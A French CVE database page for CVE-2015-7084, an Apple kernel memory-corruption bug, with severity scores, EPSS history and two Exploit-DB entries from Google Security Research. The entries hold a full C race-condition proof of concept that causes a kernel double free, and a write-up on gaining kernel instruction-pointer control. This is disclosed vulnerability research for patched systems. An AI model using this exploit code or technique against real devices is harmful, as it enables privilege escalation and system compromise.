CVE-2015-7084

Catégories

Overflow

EPSS

0.91%V4

Vecteur

Local

Publié

2015-12-11
10h00 +00:00

Modifié

2017-09-12
07h57 +00:00

Liens officiels

CVE.org

NVD

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Gestion des notifications

Liste des Notifications

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

Vous pouvez spécifier un titre qui sera récupéré dans les alertes qui seront envoyées.

Spécifiez ici un CVE ID comme CVE-2025-1234

Planifications

Mois

Prochaine exécution calculée

Jour

Jour de la semaine

Heure

Minute

Date de création

Dernière exécution

Prochaine exécution

Fonctionnalité nécessitant une connexion

Cette fonctionnalité qui vous permet de recevoir des alertes, n'est active que lorsque vous êtes connecté à votre compte.

Descriptions du CVE

The kernel in Apple iOS before 9.2, OS X before 10.11.2, tvOS before 9.1, and watchOS before 2.1 allows local users to gain privileges or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-7083.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.53%	–	–
2022-02-13	–	–	3.53%	–	–
2022-04-03	–	–	3.53%	–	–
2022-05-15	–	–	3.53%	–	–
2022-12-18	–	–	3.53%	–	–
2023-01-01	–	–	3.53%	–	–
2023-02-05	–	–	3.53%	–	–
2023-02-19	–	–	3.53%	–	–
2023-02-26	–	–	3.53%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-11	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-09	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	1.17%
2025-03-30	–	–	–	–	0.91%
2025-03-30	–	–	–	–	0.91,%

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Date	Percentile
2022-02-06	66%
2022-02-13	67%
2022-04-03	83%
2022-05-15	84%
2022-12-18	85%
2023-01-01	84%
2023-02-05	85%
2023-02-19	84%
2023-02-26	85%
2023-03-12	8%
2024-02-11	7%
2024-02-25	8%
2024-04-14	9%
2024-06-02	9%
2024-06-09	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	77%
2025-03-30	74%
2025-03-30	74%

Informations sur l'Exploit

Exploit Database EDB-ID : 39366

Date de publication : 2016-01-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=598 The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function: kern_return_t is_io_registry_iterator_exit_entry( io_object_t iterator ) { bool didIt; CHECK( IORegistryIterator, iterator, iter ); didIt = iter->exitEntry(); return( didIt ? kIOReturnSuccess : kIOReturnNoDevice ); } exitExtry is defined as follows: bool IORegistryIterator::exitEntry( void ) { IORegCursor * gone; if( where->iter) { where->iter->release(); where->iter = 0; if( where->current)// && (where != &start)) where->current->release(); } if( where != &start) { gone = where; where = gone->next; IOFree( gone, sizeof(IORegCursor)); return( true); } else return( false); } There are multiple concurrency hazards here; for example a double free of where if two threads enter at the same time. These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes on OS X and iOS. Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2 Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro repro: while true; do ./ioparallel_regiter; done */ // ianbeer // clang -o ioparallel_regiter ioparallel_regiter.c -lpthread -framework IOKit /* OS X and iOS kernel double free due to lack of locking in iokit registry iterator manipulation The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function: kern_return_t is_io_registry_iterator_exit_entry( io_object_t iterator ) { bool didIt; CHECK( IORegistryIterator, iterator, iter ); didIt = iter->exitEntry(); return( didIt ? kIOReturnSuccess : kIOReturnNoDevice ); } exitExtry is defined as follows: bool IORegistryIterator::exitEntry( void ) { IORegCursor * gone; if( where->iter) { where->iter->release(); where->iter = 0; if( where->current)// && (where != &start)) where->current->release(); } if( where != &start) { gone = where; where = gone->next; IOFree( gone, sizeof(IORegCursor)); return( true); } else return( false); } There are multiple concurrency hazards here; for example a double free of where if two threads enter at the same time. These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes on OS X and iOS. Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2 Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro repro: while true; do ./ioparallel_regiter; done */ #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <mach/thread_act.h> #include <pthread.h> #include <unistd.h> #include <IOKit/IOKitLib.h> int start = 0; void exit_it(io_iterator_t iter) { IORegistryIteratorExitEntry(iter); } void go(void* arg){ while(start == 0){;} usleep(1); exit_it(*(io_iterator_t*)arg); } int main(int argc, char** argv) { kern_return_t err; io_iterator_t iter; err = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &iter); if (err != KERN_SUCCESS) { printf("can't create reg iterator\n"); return 0; } IORegistryIteratorEnterEntry(iter); pthread_t t; io_connect_t arg = iter; pthread_create(&t, NULL, (void*) go, (void*) &arg); usleep(100000); start = 1; exit_it(iter); pthread_join(t, NULL); return 0; }

Exploit Database EDB-ID : 39357

Date de publication : 2016-01-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=620 I wanted to demonstrate that these iOS/OS X kernel race condition really are exploitable so here's a PoC which gets RIP on OS X. The same techniques should transfer smoothly to iOS :) The bug is here: void IORegistryIterator::reset( void ) { while( exitEntry()) {} if( done) { done->release(); done = 0; } where->current = root; options &= ~kIORegistryIteratorInvalidFlag; } We can call this from userspace via the IOIteratorReset method. done is an OSOrderedSet* and we only hold one reference on it; therefore we can race two threads to both see the same value of done, one will free it but before it sets done to NULL the other will call ->release on the now free'd OSOrderedSet. How to get instruction pointer control? The XNU kernel heap seems to have been designed to make this super easy :) When the first thread frees done zalloc will overwrite the first qword of the allocation with the freelist next pointer (and the last qword with that pointer xor'd with a secret.) This means that what used to be the vtable pointer gets overwritten with a valid pointer pointing to the last object freed to this zone. If we can control that object then the qword at +0x28 will be called (release is at offset +0x28 in the OSObject vtable which is the base of all IOKit objects including OSOrderedSet.) This PoC uses OSUnserializeXML to unserialize an OSData object with controlled contents then free it, which puts a controlled heap allocation at the head of the kalloc.80 freelist giving us pretty easy instruction pointer control. I've attached a panic log showing kernel RIP at 0xffffff8041414141. You will probably have to fiddle with the PoC a bit to get it to work, it's only a PoC but it does work! (I have marked the value to fiddle with :) ) As a hardening measure I would strongly suggest at the very least flipping the location of the obfuscated and unobfuscate freelist pointers such that the valid freelist pointer doesn't overlap with the location of the vtable pointer. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39357.zip